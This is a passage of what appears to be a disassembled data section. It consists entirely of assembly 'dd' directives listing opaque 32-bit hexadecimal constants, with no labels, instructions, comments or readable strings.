		dd 4B142911h, 0CAB45045h, 98C0E91Eh, 68714D55h,	435802FFh
		dd 0C4500ED8h, 9CB0D880h, 76003409h, 4810D4E2h,	96157E67h
		dd 7A988490h, 30C089A7h, 537B6737h, 2B069000h, 0B58DA98Bh
		dd 3F940044h, 0FC3C5966h, 1926355Dh, 0E442D0B9h, 0BE40F773h
		dd 76499DDBh, 7E7F0984h, 14B8916Ch, 935851F6h, 0C9F03059h
		dd 61010A98h, 0B29D9AF1h, 0D050E4A7h, 824B22h, 0BD2AB858h
		dd 5FE7EED1h, 0E86F1300h, 719AF9CAh, 0E63B24C1h, 0F2050A74h
		dd 40E11C90h, 1D5CFCCDh, 87255BBEh, 0E2B090FAh,	6C9D0394h
		dd 0AD2B8DE3h, 0DC582980h, 0B54E9C00h, 0A5490FA2h, 0FF18A186h
		dd 1256E870h, 0D0117EAAh, 0E26F2658h, 2C269C91h, 0A0622460h
		dd 325E0219h, 40F886C0h, 0CD2FE085h, 0C57C0778h, 4128076Eh
		dd 141101A4h, 93C729Ch,	9034450Ah, 0B378A4h, 877DCC48h
		dd 89E310F8h, 99C95216h, 8A08A07h, 0BE1A1F81h, 0A658F8F3h
		dd 44434CD3h, 63B38F80h, 2E2590A0h, 4ED0A0ACh, 1EC1081h
		dd 0D197874Fh, 40160FE9h, 0A763ACD0h, 1EE1A660h, 0A1B99Bh
		dd 0C3AA7636h, 0B8790621h, 4D7B2800h, 0A043A613h, 40234B7Eh
		dd 25A71440h, 0D198D3F3h, 80741651h, 721EDC18h,	0B8EE7ADAh
		dd 5D70CF44h, 785490B2h, 0C7002AE2h, 58DD2F04h,	2EB6457Ah
		dd 40DCA7F2h, 3B676D01h, 8832D409h, 41F880C8h, 0C95AB5h
		dd 461A7E64h, 8D384C9Ch, 151F8600h, 0AFE49BB1h,	0B2A10924h
		dd 0D4103B32h, 0F90255A4h, 1D91E9EBh, 5828618Eh, 4C949FECh
		dd 363820B0h, 20182B17h, 7D862DA8h, 67119000h, 8CB19C99h
		dd 0ECF31663h, 0FF8003FEh, 4830E055h, 0E729405Ah, 0C200B0D2h
		dd 0C4FE7F41h, 4F0010E6h, 0B34224CFh, 1B438Dh, 0B5A8BED3h
		dd 4067D93Ch, 864BEAEAh, 0CE66E031h, 84C2AE02h,	0CF910080h
		dd 0AB269493h, 30406017h, 458B0h, 772AD2BEh, 0C59E8278h
		dd 24296400h, 4F6A6C44h, 4BC0A033h, 3834B0CAh, 0A283FDE0h
		dd 0E134A742h, 0CBF5A5A0h, 64B6191Ah, 839E0059h, 0C7C054Eh
		dd 0E212A69Bh, 0FE4D3CE8h, 1E048B4h, 496E981Fh,	94220666h
		dd 1B8D11h, 977A0DCh, 1299E56Fh, 1C331A4h, 0DFB0345Ch
		dd 3EA82243h, 0B452800Eh, 2EF3799Ah, 0E480000Dh, 8154C2B0h
		dd 2426EB32h, 0A1010060h, 0E1106F5h, 2A4B430h, 456E5CFEh
		dd 5472AC67h, 0BD00E0F6h, 233D1927h, 28F4B480h,	0E922179h
		dd 0BBA9428Bh, 38C4FD8Bh, 553B103h, 0E0F00D1Ah,	6643DCh
		dd 4C928619h, 0FFBF6718h, 7030C64Fh, 751389C1h,	8D842859h
		dd 258B0364h, 667A7B83h, 0EC9E0CB9h, 146088C6h,	3E97D821h
		dd 457D00E3h, 0F6C33AA6h, 9805780Ah, 0AB35B261h, 0D950F800h
		dd 0ECF384A9h, 12F8024Ch, 971066D1h, 43517F07h,	0EE83DCBh
		dd 0D88F5414h, 4830F09h, 4B21501Eh, 209AEC6Bh, 0E803AA9Ah
		dd 883B4EA9h, 1DC11E1Fh, 87434F82h, 6B9428E0h, 5C9E3C9Ah
		dd 51E26662h, 463E0300h, 110092A7h, 53FDD481h, 0C02311Eh
		dd 1C85EA61h, 0F0A06339h, 2574A335h, 2A364D0Eh,	0A9AC26Fh
		dd 790C6A7Fh, 121C3F08h, 0C3E88022h, 665B170Dh,	86A00B5Ch
		dd 29198Dh, 94E38977h, 0D338598Fh, 929258h, 0B1C14C99h
		dd 48C22335h, 4A0F581Fh, 0A5038D0Dh, 36D82D8Ah,	84B16B7Eh
		dd 84094592h, 0CBA8A346h, 9B6DB834h, 40B36143h,	0F8FA061Eh
		dd 0B024B52Bh, 9C40F080h, 1522F32h, 0C98E0DFEh,	80AAD79Fh
		dd 11229918h, 0C2BE0C66h, 723435B9h, 0C336E0C8h, 0F9266F98h
		dd 0E008522h, 499E7032h, 0C05EDF96h, 0FCCE8BCCh, 0D600AB0Ah
		dd 0C07EE453h, 0ED7E5E9h, 5D54783h, 500FD34Bh, 18019A60h
		dd 0BB171E69h, 38D19FEAh, 0B4108717h, 84010933h, 2DDB7D22h
		dd 4853FF37h, 69E2D0C1h, 41893D1Ah, 0FE0B4480h,	0DFA5B66Fh
		dd 0AA028802h, 61643CB3h, 8C60232Dh, 19481Eh, 0E00AC5Dh
		dd 30798C5Ch, 9EF0E697h, 46801700h, 39D45840h, 711900D2h
		dd 4DEE32EAh, 0ED1EFA7Ah, 820075ECh, 3C5C3763h,	27E09068h
		dd 4090FC61h, 0AD3995F7h, 1E9F9E15h, 0D9DE6D80h, 3C33382h
		dd 0E4670A99h, 0DC99BAC7h, 1782D17h, 61F91AE6h,	803FA201h
		dd 0C5B83849h, 41393702h, 0E6F8DCBAh, 18F0030Ch, 243E72D3h
		dd 0A5442DE0h, 6F156416h, 0A13C080Bh, 46BA59E0h, 75D58047h
		dd 2EA9AC21h, 1E007E2Ch, 0AD62C256h, 0AF00CBA6h, 8D81FEE9h
		dd 0ECE1BAD1h, 9E560342h, 86EF19CEh, 0C1504148h, 0B96FE3F0h
		dd 39F69E8h, 39E1D42h, 0E2E03BD9h, 2F48B4F7h, 0D35F0098h
		dd 0CA29FDBAh, 507C4860h, 43F470Eh, 0A689B180h,	0AC241C13h
		dd 0AD80CCE9h, 0B33CEFAAh, 0E650321h, 2A012040h, 0FAA63824h
		dd 1B4F013Ah, 0AC08C5BEh, 2400D832h, 4E0A4336h,	0C102F1A2h
		dd 0BE69A02Dh, 84A46273h, 3E490CA0h, 8A3060C8h,	0A0761C00h
		dd 0CEF0A775h, 0AAED0089h, 7B194123h, 103A6145h, 4DDF0538h
		dd 0ACC267F6h, 0F2142218h, 9684B0D1h, 40C738BAh, 0C9A58038h
		dd 1FE49469h, 4C9997F8h, 0F8E2069Dh, 4FB4B694h,	61178826h
		dd 0B9D7DA00h, 5CEBF170h, 0F6A0047Ch, 0E2B4786Ah, 8673007Ch
		dd 308C7977h, 0AFA40342h
		dd 4C0EEAFEh, 20CA1EC1h, 4000E406h, 9CFBF260h, 1D35F03Fh
		dd 0CB30EEC0h, 601BEF44h, 0AF29C788h, 0C9B4330Ah, 8404D8A0h
		dd 34C16223h, 71DEADABh, 6BF8074Ch, 9E208036h, 76010D99h
		dd 4FA3D2Ch, 60CCAF9Fh,	3728134Dh, 5ED8208Dh, 0BC1C5166h
		dd 435EFFE9h, 7D6902BCh, 90A7A5F1h, 0EB50B88h, 179A6C53h
		dd 5636F740h, 1D1289F6h, 14301E61h, 6C5755h, 8EE754FDh
		dd 44F4C7D0h, 208D412Fh, 0F83C9E74h, 0A2FB091Bh, 34602326h
		dd 1817D51Ah, 1408AA0Dh, 127E8B8Bh, 0B34290C4h,	3C9824h
		dd 0EBC83352h, 0DF00CF5Dh, 0D4F799C6h, 12BEA47Ch, 0BE5FECDh
		dd 0B088ADB8h, 42FD039Fh, 3BBA9D32h, 111D0841h,	9AE1148Fh
		dd 6DB0282Bh, 89C00100h, 0FE49E484h, 3E382524h,	6D62B4A0h
		dd 680A5A0Bh, 0C9CEAD1h, 8609813Ah, 43D3F8CFh, 0B9407022h
		dd 76BA001Bh, 6EB50516h, 0C2021C03h, 325E09E1h,	6859CCh
		dd 0A598E4FBh, 0C3580622h, 0CC451414h, 3F4601F8h, 0A2EACE01h
		dd 6048C439h, 2CA45E03h, 0F6A81A7Eh, 717243E4h,	9DF06301h
		dd 6BF10152h, 9C8868E4h, 96778034h, 0C7F2A4BEh,	0DFAA2C00h
		dd 8E7EF0ECh, 40A74AAEh, 0FAC693F0h, 73F613FCh,	0FE58509h
		dd 0EC44B5h, 19FF248Ch,	526E1FA3h, 0ED1AF3Dh, 0E33E9402h
		dd 864BB839h, 0C7A32C98h, 8CA112E8h, 0E0B08A44h, 72B20105h
		dd 84C234BAh, 96B5211Dh, 2288h,	4A6A817h, 0D0716CDBh, 0AAC0B848h
		dd 1DBD6115h, 11B01009h, 660505FDh, 0A516CCE3h,	0F3DCC8A9h
		dd 85E0CC01h, 37CF2062h, 2425BE31h, 0F0484029h,	0B1150773h
		dd 29353B47h, 88041010h, 0BAF72D00h, 0D2CB059Dh, 68FA00E9h
		dd 0D626379Eh, 35058443h, 95E866B3h, 0E8343809h, 41AFF30h
		dd 0A0A528E5h, 0F84F01F4h, 0A309A23h, 7EA813C3h, 4138226Ah
		dd 3B16A4E0h, 2352F4A0h, 6C106F28h, 1EE9EA07h, 17757BFFh
		dd 3EA3D8C8h, 0CE000E28h, 7523961Ah, 0AD05265Ah, 8C5DAE38h
		dd 0F601C81Dh, 0C81407B2h, 93A1D070h, 1A601F28h, 8854119Bh
		dd 0A0911A1Bh, 1324BAh,	4F0774D6h, 49FE940Ch, 0A01E0230h
		dd 3D54C5CBh, 5E0083B3h, 0FD39BDB5h, 760C4A5Fh,	491D88C7h
		dd 6C2C0073h, 66F95B03h, 0EF177CFBh, 7C07E6EAh,	0C5651AAAh
		dd 67B5C860h, 919BF65Ch, 30018620h, 5603B086h, 0CC899EE9h
		dd 7A101769h, 644C203Eh, 0E70180C7h, 8DCA14D2h,	0A5C093FEh
		dd 0E173006Dh, 187AB36Bh, 9057BE3h, 0B66E230h, 342054E5h
		dd 98637BA2h, 0C80513E4h, 593404B5h, 73B48081h,	6C127068h
		dd 7409F090h, 0AB40496Fh, 9448F864h, 44D140A4h,	2B0062B0h
		dd 0A9A047E7h, 1B7C9C3h, 697D57CEh, 22B0EA84h, 3EBA1A80h
		dd 80DE0E81h, 13501769h, 4084B411h, 4A3BF649h, 35A37D00h
		dd 0B70A7499h, 1F10230h, 4669D9FEh, 0B200ACD1h,	9C269DF5h
		dd 1DA0004Bh, 0A70D8CF2h, 742E9545h, 10AD9CD2h,	3241F8h
		dd 0DD500D24h, 90BC431h, 51025B00h, 3CBBF191h, 69E0ED10h
		dd 8C0D16BDh, 2D943032h, 96007863h, 0AA7C54F9h,	0B0E8460Fh
		dd 8932028Dh, 5CA3C41Fh, 6E2AB040h, 4A43B009h, 4FC405BBh
		dd 3500DC85h, 3ED91850h, 3CC31703h, 0F0982714h,	81649056h
		dd 6944C800h, 97938F2h,	8B0E04EFh, 81AE61DEh, 70570AA8h
		dd 0B416EC4Ch, 0E40EDF35h, 0D70070F5h, 9ADA08C6h, 0D300C86Fh
		dd 8245AB2Bh, 1C005D9h,	31E3A8C1h, 229E1935h, 2784C84h
		dd 30844216h, 7118E23Ch, 0F91740E0h, 0EF0359AFh, 52B19340h
		dd 1418F86Bh, 151F1F6Ch, 0A3CAE43h, 3B845F1h, 6E89FCABh
		dd 67F4C0E4h, 0D177798h, 14903B46h, 13AF4C3Ch, 43A2CB6h
		dd 0C0DAFE24h, 4270174h, 72D8C758h, 78713324h, 4494E180h
		dd 29D54Fh, 5958CF6Dh, 0A3F4825Ah, 98C4B5A0h, 0D40D896h
		dd 586C17F7h, 470B304Ah, 0CC840B1Ah, 9C414022h,	97B014Dh
		dd 98EA32BAh, 5C40D098h, 0A188890h, 7B88C973h, 0EE6C4433h
		dd 1DA6CD3Eh, 60C76DEAh, 0A08F8182h, 0E7317AD4h, 4E5213F7h
		dd 0F49412C4h, 0F3618D08h, 1BE7EB79h, 7A0F20h, 2CB404E3h
		dd 5C5B8334h, 66561A03h, 0C9FDA6BAh, 0EC84FB4Eh, 0AD687E39h
		dd 0E0231C0Ch, 0B00ABA93h, 0D02CD84Eh, 9628CB60h, 0F00150ABh
		dd 100186EFh, 0B458433h, 0D0406423h, 0BFD2F54h,	1EAB861Ah
		dd 0DD9C2280h, 0F0D6AD53h, 545110C2h, 0B886860h, 0B4C83E63h
		dd 0D50024B3h, 70CA15BFh, 7F2EF6h, 72045CD6h, 0A41748A1h
		dd 38F8DE31h, 947D3E62h, 0D2AA910Fh, 0F7E8B2A1h, 139470D1h
		dd 0CE6B5309h, 71F0528Dh, 0C785009Dh, 5F322871h, 0AC03189Bh
		dd 6FAD8BBAh, 69F1E8BDh, 802CAA7Fh, 0B677215Ah,	0AB3D013Ah
		dd 19FD5D14h, 81C6DB7h,	403B5152h, 0C58D594Bh, 9605577Bh
		dd 0C05F7E4Eh, 8A228404h, 19AB5C90h, 0B0A4E0h, 2E8B7401h
		dd 0CA8718E6h, 10C9CE2Dh, 15E3C98h, 0F4F25A9Dh,	0ECA313C6h
		dd 0FFE2F31Bh, 10CD7C2Fh, 58FB17A0h, 0EB00931Dh, 0C788571Eh
		dd 0E700BC8Ch, 656001FEh, 2811317h, 67C4E01Fh, 20448884h
		dd 0F6DB6E00h, 9396E6CBh, 305B00EFh, 0FA4DCEBEh, 5C0011CFh
		dd 7B1DB432h, 25311A16h, 0B064F6CBh, 15862B00h,	110A8825h
		dd 0EE2C0E21h, 0F8A20961h, 98C1FCD1h, 47A71038h, 0B0E67504h
		dd 1C942250h, 0FE606760h, 5C8062E9h, 0EBC0F0CAh, 3AA2469Ch
		dd 2230994Ch, 1E49862h,	1A896418h, 603BD983h, 0B232AEF0h
		dd 228C28F8h, 0D45E6C7Eh, 0E70BA240h, 9934h, 8956E9B6h
		dd 0C300085Fh, 0B5E41B40h, 97C93DA5h, 0C7628C03h, 0E6C6CAB0h
		dd 3598D8E7h, 0E1BA3C01h, 848A6F15h, 901907Ch, 999F41B1h
		dd 0F077067h, 0DC60595Eh, 244B8F65h, 13843679h,	6080D0AFh
		dd 531803F9h, 0B510B6C9h, 5C5A1845h, 0FF9E585Dh, 0FE66A812h
		dd 0A2EA5CD0h, 0E0389E71h, 60996B01h, 946CF516h, 10099413h
		dd 5C9881A2h, 22F089Fh,	90BE34C4h, 77E3B098h, 833C0100h
		dd 0E4A542D5h, 0A1E8AEh, 64B68750h, 664B235Dh, 3490074Fh
		dd 9C609E59h, 1E8940A4h, 0A100782Eh, 616CF2E2h,	0B323534h
		dd 7F84C72Ch, 0ABD8A28Ch, 14FF901h, 8D96D8EDh, 780C868h
		dd 862C19DFh, 1245E217h, 0A8D8BCC9h, 0BB510554h, 0EA65D36Fh
		dd 38ECF000h, 0F1729998h, 30C043Ah, 0C82CC79Ah,	9A00E445h
		dd 19FAB993h, 1B891B3h,	18D7DDFCh, 0C8232ED0h, 0C3E3B0F8h
		dd 7EF30CBFh, 0D0191C16h, 0FC4048DEh, 54105743h, 252F794Ch
		dd 7CA017B8h, 4BF07177h, 850ACC3Eh, 3BB9A35Ch, 4E30D020h
		dd 9FE20056h, 14E8B85Ah, 6204D244h, 34FA7383h, 6088F4h
		dd 859C49B4h, 0F2C95E13h, 0D9B9CF06h, 24690A66h, 1CFF7Fh
		dd 78E1184Dh, 197881BFh, 0A7217263h, 0C62900E8h, 574D05BEh
		dd 0AE00B4F4h, 7AA42A6h, 0B063CD27h, 4490BC58h,	121232B8h
		dd 0A0907442h, 65FE4404h, 1129C900h, 0A4E04EEEh, 46BCA0CAh
		dd 352605B3h, 9ACF8E8h,	0FE819140h, 0E0EEEA41h,	2324241Dh
		dd 39405415h, 4F70E8h, 6BBDFBDh, 55F7D7BAh, 4300FBEEh
		dd 97CE08Ah, 2E5C6h, 0DE9C2336h, 6176370Fh, 20F53F30h
		dd 7D7BA7h, 9D34B574h, 0EA379F84h, 8281F926h, 89B90306h
		dd 0F2240028h, 0E9A0A95Eh, 560DE1Ah, 0F9A40306h, 8120C6DFh
		dd 8A0008ECh, 62272E17h, 0B54CF0h, 848EC0ACh, 3D060D63h
		dd 89B278C0h, 0CF472h, 3EF79DD2h, 0E3E5C121h, 8DF3DD27h
		dd 5B47C0E1h, 57EBDF30h, 61E86081h, 0C7DB45F0h,	0A4917E02h
		dd 8083DF44h
		dd 0A88E0C78h, 333F017Dh, 0BE2FAC68h, 8AB09880h, 3EBA408h
		dd 0FA444309h, 69060267h, 0CA82C9EEh, 0F1840761h, 0D36FC3FBh
		dd 0E103F35Ch, 21532AE3h, 0D4A0DFDEh, 7E98707h,	46E6C041h
		dd 46D2A7ECh, 917D08EDh, 9360F103h, 3EE821Bh, 44BCDB59h
		dd 0F0BF5312h, 0BE3E706Dh, 0F22FD03Bh, 0CD897E00h, 17CC30Eh
		dd 0C46A50EAh, 0D10A335Eh, 3600FCB8h, 7A5D3D47h, 1427AA1Ch
		dd 0BC2F3A16h, 4280DF82h, 0EFA784A1h, 4EB3FFABh, 9091F8E2h
		dd 892D60F2h, 0CAF3E501h, 45D90C8Bh, 71FA15FCh,	613A5C1Ch
		dd 0E0D5167h, 0B4A80090h, 8C9827EFh, 95F20162h,	61FA4596h
		dd 0DF598014h, 0C8082D9Ch, 7152007Ah, 0A9858382h, 5B04F13Bh
		dd 0F2815636h, 89C9EB40h, 50007E66h, 3413A4CCh,	1272AB8h
		dd 0AE2F631Fh, 0BFADBA03h, 95E0489h, 48159FEh, 85D43FCCh
		dd 490DE45Bh, 0A2002852h, 8B05E465h, 8C131D61h,	0A0005F1Ch
		dd 4579D7A4h, 5B0D3067h, 9D8459E8h, 0B9406430h,	0C68B7Dh
		dd 6E638033h, 0DCD6BC91h, 0BD0BDE39h, 94D1A834h, 0CD0AE02h
		dd 807E485Dh, 9628FF0h,	0A8F908B0h, 8981D581h, 589325B2h
		dd 0B5BEE0h, 3E0B222Bh,	0A8DEB9DDh, 0A4DC020Fh,	65154082h
		dd 1B0E56Dh, 0C37B3063h, 867E0E3Ah, 17641649h, 0C59000A1h
		dd 4FEF4EDh, 37025285h,	645D8CB5h, 20A38F5Bh, 5514C229h
		dd 3E5492FBh, 4600BD3Bh, 3ABE5F2Eh, 160007CAh, 0EF0E1A4h
		dd 0F4DF5394h, 0F2009A3Ch, 1614004Dh, 0F6523260h, 0CF004EB0h
		dd 789A53D1h, 39E76AF9h, 0C3E59F1h, 82626106h, 8000A9D7h
		dd 6634947h, 5D48F7h, 945FF927h, 512EDBEBh, 20070824h
		dd 4C8EA280h, 2813D8C2h, 0CE6911h, 0BF169C1Eh, 3AAF6BC4h
		dd 59C32134h, 0F382F402h, 0A208B6Eh, 32400877h,	1370A95h
		dd 0E1F1EA44h, 0D043B448h, 8E0A6BFDh, 24EB6735h, 7C248712h
		dd 5D63D807h, 20F181B2h, 0A27EA885h, 6D804800h,	908DAC98h
		dd 0DEA1035Ch, 4A0DC9BEh, 366C810Eh, 0C09E4E8Fh, 357DED92h
		dd 0F97175h, 885333A7h,	873068C7h, 1A51C40Ah, 9502BC0Bh
		dd 40BAEF17h, 5044E1E4h, 88FAD4FCh, 7F00E7F2h, 4D2DB974h
		dd 1ED7203Dh, 720E5Fh, 5E0C17B7h, 5152CFEBh, 31460044h
		dd 0F7625327h, 0EE4B0120h, 6F87EAF2h, 0CD6880B9h, 0BD1A9170h
		dd 3D6148Dh, 0C3809CBFh, 0BCCE8AF2h, 0A40104B0h, 0A910F27h
		dd 0F1D046F6h, 95598C3h, 0DC80AAE3h, 873DC400h,	2C986964h
		dd 26B92644h, 18FCE539h, 380A59F7h, 0BA0FD900h,	0A710FE71h
		dd 0EF0C0227h, 0CECA2F51h, 91B4E863h, 8F2D64D4h, 0C1DE4A49h
		dd 843BD2B2h, 394EC20h,	0D4141E67h, 80145C33h, 60C7139Fh
		dd 0D65B5669h, 82FD382Ah, 9D101A85h, 0CD280061h, 8F11728Ch
		dd 28ECF1Fh, 479E16C0h,	50C290E3h, 12A2C86Ch, 1DFF0A03h
		dd 8075C01Ch, 0A720C3F5h, 0AA0CD902h, 40D6A3C2h, 3A4B6F0h
		dd 0F724CFDCh, 8C0D5Eh,	0B0C5DAE0h, 54680055h, 0A45B2A4Bh
		dd 0AD244A69h, 0D7622C5Ch, 0B4A28004h, 4D92D03h, 972344BFh
		dd 0E32C816Bh, 484860E5h, 7E87FE00h, 0FFC8B531h, 916B007Fh
		dd 0E2DCE109h, 8490B92Ch, 0EC546428h, 8D2F7909h, 855C9061h
		dd 687706F0h, 79DF826Ah, 95C42E1Ch, 0E128E940h,	236BED1h
		dd 5B405261h, 0FC416394h, 0CF418627h, 39D481h, 98548369h
		dd 1163077h, 0D99EB31Dh, 4951FB00h, 1D57C345h, 0EA0DDEB0h
		dd 14EB2CE4h, 669D0024h, 8BEAE478h, 0E3B54F00h,	0EBE26A0Dh
		dd 173E03BCh, 88BE0CDEh, 80DCF804h, 3CD05164h, 0A4D22Dh
		dd 875D3159h, 0CF85C8EFh, 0A254F315h, 6C3503F8h, 8994DA33h
		dd 28201BBAh, 69EE2412h, 0F2CF0278h, 1440B66Bh,	0B522039Ah
		dd 0F081309Dh, 0DB06D3D9h, 0CD978C00h, 21A55B38h, 0F6DC026Fh
		dd 8A78407h, 8100AC44h,	62B85476h, 3FB544B6h, 0A7810D88h
		dd 0AA4D6550h, 48C6111h, 51C4F2Ch, 0B9F96EE0h, 0C6017EBAh
		dd 0DF522F26h, 0B4554181h, 0A0F1B40Ch, 0FA0988ACh, 0E68C6900h
		dd 0C9A4DB4Fh, 35891F15h, 5430E808h, 0EEB448h, 12C67A27h
		dd 9FCF0968h, 3C768AF2h, 1CA5E82Ch, 71431C04h, 4063D482h
		dd 30F04A6Ch, 79A17E0Dh, 8300A93Fh, 6B6AED35h, 2E316347h
		dd 28027F0h, 0EBB98FCAh, 5038A0E1h, 7A3062CCh, 6A5C8C06h
		dd 497B0Dh, 9A49A815h, 0E5AE2163h, 32011275h, 69EC1DF6h
		dd 299D0408h, 0FC2C402Bh, 390FA6DDh, 6F0005FAh,	63244253h
		dd 4C4EF3BDh, 5D2662EBh, 0D4690E70h, 48801A49h,	0E5E8E0E9h
		dd 82DF6A17h, 22356421h, 16004872h, 0B88173FCh,	0E200BED9h
		dd 86A85C45h, 293A2D66h, 18A0D67Ah, 0A88D9101h,	0F81E2230h
		dd 9066C63Eh, 17A73018h, 10E99308h, 78F30A01h, 83B43162h
		dd 583B1460h, 0EC4C41D2h, 0FC436180h, 15783297h, 9F1F3D00h
		dd 93440DEh, 51050012h,	0CA0DF7F1h, 8B9E54Eh, 0EE8BC380h
		dd 9D0B66h, 0A57565Ch, 0EA1B6316h, 23379E05h, 74CCBC03h
		dd 183E1F43h, 0FF7C7ABh, 86B1146Eh, 491D109Ch, 3A869DAAh
		dd 1561C52Ch, 94B8039Ch, 2AD49878h, 0E434FBh, 0BB9709D4h
		dd 174762EDh, 0BC3AA404h, 10B15B84h, 9973E823h,	22608070h
		dd 0A1DC2153h, 8600C777h, 13DF6171h, 9462F35Dh,	9CA498h
		dd 0E3975B69h, 4C993427h, 22C1BD9Dh, 0D681FDB4h, 8459C114h
		dd 72EDD01Bh, 580E7E01h, 79CF461h, 64ED8h, 620CEA7Ah, 3E0AC386h
		dd 0C4F1A026h, 82EF420Fh, 403A7E5Bh, 9455B458h,	19E680C8h
		dd 52C3334Bh, 891E6600h, 7BDA16B3h, 0A4BF00B7h,	8251F93Bh
		dd 0DE09BD9Fh, 6177A0Ah, 141E4C4h, 5447456Ah, 87510BE6h
		dd 57950A30h, 98D088E9h, 5FFDBA04h, 0E348C8h, 0AA5EF4CDh
		dd 0F0448298h, 20643025h, 0CE40FC80h, 62370B3Fh, 8ED519CBh
		dd 878E4004h, 71584Eh, 4FAC450Ch, 0ED11BB65h, 0CEA910C1h
		dd 0A428BE0Dh, 0D9F30096h, 7407D2C6h, 2F025207h, 7F3345F4h
		dd 1A40F897h, 0BD0318D9h, 0D3819992h, 0BCE2B4A8h, 0BAF5BF00h
		dd 0DCC388FBh, 75F0009Ch, 0FEF71EEAh, 0E550621Ah, 0D2E570A8h
		dd 485498E1h, 900F7A8h,	0A5CB998Dh, 771F7930h, 0BBA6000Eh
		dd 0D1F6AADBh, 0CC91642Fh, 0DC60CD16h, 0C1A6551Ah, 5137F891h
		dd 0A80BF40Eh, 19CD6001h, 3809A56Eh, 26DF1BE0h,	441130h
		dd 323A3EC9h, 84AF207h,	0B3CAD004h, 0BD488Ch, 1C5CF4A1h
		dd 4D90546Fh, 77CB6402h, 0C482CC67h, 0B8F7FD60h, 0E47E9950h
		dd 16B9303Ch, 69E6EC20h, 0C710E005h, 0A48025B2h, 16FE8172h
		dd 0B3C1211h, 18187524h, 4800ED03h, 6766D4B4h, 5F5A6Dh
		dd 3CC1A885h, 0F39C69C4h, 2D01FDF8h, 8096356h, 14982447h
		dd 0DB0B179h, 0C0D8055Ch, 61222053h, 0C28C05B4h, 366D094h
		dd 1DCCBEFCh, 0C5AC44A0h, 3BF26276h, 0D1F3DF18h, 4C43AF20h
		dd 244CCCD9h, 30281C0h,	6B7FEF12h, 210E3A25h, 0DAA86098h
		dd 0BB32EC40h, 8B981h, 0D9DC0D53h, 3A0092E7h, 11B62C6Ah
		dd 0D430B3h, 45660915h,	647DCB42h, 0C083089Eh, 0E80A0ED0h
		dd 0BC604B3h, 30873CDh,	67254820h, 0C300C8A0h, 7DBCDC81h
		dd 18C2448h, 16F5E134h,	2063E51Ah, 5813746Ch, 1C08189Dh
		dd 80CA4167h, 8BA0F40Ch, 466E6903h, 99DCE2A4h, 3EFBA15Bh
		dd 0BE00C8E0h, 59450F44h, 61F8EFC4h, 47A13E60h,	0A9A634h
		dd 1A71B0D6h, 0D9C862FFh, 0E9025894h, 906BF3B2h, 495CB5C8h
		dd 74004CA0h, 46971A09h, 8600457Fh, 0C7CAB340h,	1EE5EC3h
		dd 0F8B94AA8h
		dd 505FF3D6h, 0A13E0A0h, 0EAA4A909h, 0AF980160h, 0D4407F0Dh
		dd 1ECE3166h, 954B2277h, 3A00904Fh, 0A63B2A84h,	2BF2E2FCh
		dd 90491A00h, 0A529CEAEh, 124605F6h, 0CCD6BB6Eh, 0F300FFC0h
		dd 523EAE7h, 1E4B43h, 9CF65C2Ch, 0AB8EAA79h, 2FF03403h
		dd 24EF0FBDh, 19CB688h,	940EDEADh, 0DE083155h, 6204202Ah
		dd 78807334h, 58274375h, 1580F061h, 0D6671EC2h,	0E86B7B00h
		dd 0EE2DF906h, 16FD26D2h, 0DBD1077Ch, 2C989988h, 0E6003F75h
		dd 0A5E95B9Dh, 0E895F184h, 3B6E03A8h, 0ADEC35B6h, 915D980Fh
		dd 0C908E9B4h, 5EC4C7CCh, 0FA00043h, 864935CCh,	5203F6BBh
		dd 102FD440h, 0B4D00169h, 0C0650AEAh, 8AC0805Dh, 14B94D76h
		dd 40804F44h, 184CBB1Ch, 0D600FDD7h, 0CE7857F0h, 293F2384h
		dd 7F4549Ah, 0A0A9499Eh, 4BBA44CCh, 0F4E19100h,	0C24557AEh
		dd 0CAF30CECh, 0BB085C96h, 39AF5530h, 1A4EC9h, 14AEC6ABh
		dd 9A085B9Bh, 217A3530h, 24D9C28Ah, 93B0F85Ch, 137200A2h
		dd 0D7A8E6A1h, 0ED75E3EAh, 3D778100h, 87B1DF4Ah, 0FA0A0979h
		dd 9CC45CA1h, 0A24839E6h, 80083E06h, 0CD73E7C3h, 4C03B871h
		dd 8284ECBEh, 0B15B40D6h, 0C5246h, 5FB76BE8h, 690B1DDEh
		dd 0DDBCFC03h, 0B8EEF8B4h, 1315558h, 0A4DBA96Eh, 4CDA3F38h
		dd 4D04618Ch, 77AF3DA2h, 0FBF4EE80h, 6D6F04F9h,	8227DEC6h
		dd 72E0BCDCh, 0A8B8E38Ch, 440DF144h, 0D8ECD904h, 81231F3Eh
		dd 0BDB52516h, 50684A86h, 3A689A03h, 391FC675h,	93393FD0h
		dd 6C174285h, 68CF1420h, 170D3911h, 87FE4602h, 0DCE65FCDh
		dd 69D29E00h, 2792A811h, 0A4720E80h, 0B34E82E3h, 0A03BB00h
		dd 0E0098C9h, 3D028766h, 52B99Bh, 2035AFD8h, 0ED4068DEh
		dd 6B8CC600h, 18FD8519h, 263E0115h, 1AA0BD9Ah, 0C895C8BCh
		dd 38B03B00h, 0E5068481h, 0B5F81Bh, 0E9F8BB40h,	0B8DC3164h
		dd 8E75EAE8h, 0A0254Ch,	6A36B9EFh, 9251ECh, 8F0A1D95h
		dd 346B8184h, 0DB3722ECh, 9C2E8161h, 0CBC8B5C0h, 3E11AA01h
		dd 5000D734h, 0B1F68D3Fh, 683007D4h, 0FA29C00Ch, 43F70E95h
		dd 685849FEh, 0E3F26D54h, 0DF0C6AECh, 41F53565h, 4B8A003Dh
		dd 7EFEE789h, 703EEC74h, 0D378606Eh, 0CAE492h, 3DF7FF64h
		dd 0FC6DDFFDh, 0BF9AB713h, 689B18FFh, 0A5001D83h, 8257D064h
		dd 7693BF0h, 0BF1FE829h, 80EA6476h, 46F1649Bh, 0E534D701h
		dd 603BEC6Fh, 9461E185h, 0AB4801D3h, 80FA370Dh,	0BA6F2A11h
		dd 8A0B36h, 66C11915h, 63A959EAh, 16D01A60h, 31514696h
		dd 0DB5069F2h, 93598266h, 40A6E659h, 0F239A853h, 542000B3h
		dd 0B91B21E7h, 28C913E4h, 0C48D0650h, 143F070h,	8FC3330Dh
		dd 80E13561h, 32039289h, 0F0EA53C8h, 855D0081h,	93DC56D8h
		dd 0C938C163h, 88E3A808h, 440599EAh, 4AD33B61h,	92BF9C00h
		dd 0BC8F0Fh, 8362B8A4h,	4E63C49Bh, 59DBA815h, 4A5E00B8h
		dd 0BC2B9752h, 21DF001Fh, 92B9AEB0h, 290CEE89h,	90EC5180h
		dd 0CE5D01C4h, 65C1AB6h, 299AD8C0h, 5FEAA100h, 0CF4A36F6h
